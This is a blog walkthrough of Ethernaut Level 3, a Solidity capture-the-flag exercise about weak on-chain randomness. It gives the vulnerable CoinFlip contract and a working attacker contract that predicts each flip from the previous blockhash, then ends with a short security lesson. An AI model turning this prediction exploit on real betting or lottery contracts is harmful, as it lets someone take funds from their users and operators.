Ethernaut Walkthrough — Level 3: Coin Flip

Published on Dec 06, 2021

This level is all about randomness. When writing solidity code there isn't a native way to generate random numbers. Also keep in mind that all your clever ways to try to generate randomness in your code is publicly visible for all on the blockchain.

There are of course solutions like using Chainlink Oracles, that can generate and return truly random numbers for you, but that is outside of the scope of this Ethernaut level.

When looking at the code we can see that the coin flip result is being calculated based on some given inputs like a FACTOR variable and the current block number. Those are all inputs a hacker can read as well and that's what we're going to do here.

Take a closer look at the code and you'll see that the coin flip result is based on the following rough logic:

uint256 blockValue = uint256(blockhash(block.number.sub(1)));
/ ...
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

If we can do that same calculation and simply use the result as our own guess to win the coin flip, we'll always win. Compare this to Bob holding a lemon in his hand behind his back. You don't know what hand he's holding the lemon in, but we can ask Alice, who's standing right behind Bob. If Alice points at the hand with the lemon, we'll always win our bet with Bob.

The hack

To pull of this hack, we'll need to write some code containing the original contract structure in order to be able to initialize a new contract variable we can talk to.

There are probably much easier or shorter ways to to this, but I created a new contract file in remix and added the following code. It's the exact code as given in level 3, with the openzeppelin contract added in on top.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6be0b410dcb77bc046cd3c960b4170368c502162/contracts/math/SafeMath.sol';
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

With the original code in place, we'll created our own contract in the same file, that calculates the coin flip exactly like the original contract does and when we get the resulting boolean we'll just forward that as our guess to the original contract's flip() function. That way, we'll always win and we'll increase the consecutiveWins variable.

Add the following contract the the same file containing the original contract above:

contract CheatGuess {
  using SafeMath for uint256;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  address originalAddress = 0xa7e2B31F9976751C894359fA702100577cd1079F;
  CoinFlip public originalContract = CoinFlip(originalAddress);

  function cheat() public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;
    
    originalContract.flip(side);
  }

}

What this does is calculate the coinFlip result (it shows us in which hand Bob is holding the lemon so to speak) and we'll toss that result back to the originalContract. Our guess will always be correct and we'll win the bet. Double-check if your code works by asking how many consecutiveWins are stored in the contract by using the console in Ethernaut.

If you see that the number of wins is increasing, run the cheat() method nine more times until you have 10 consecutive wins in the contract. After that, submit your instance.

Security lessons learned

Always remember that your code will be public and that anyone can see your logic. True randomness is hard to achive in native Solidity, but there are solutions like working with a Chainlink Oracle.

Continue from here

Here's my solution for level 4

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on LinkedIn to keep the conversation going.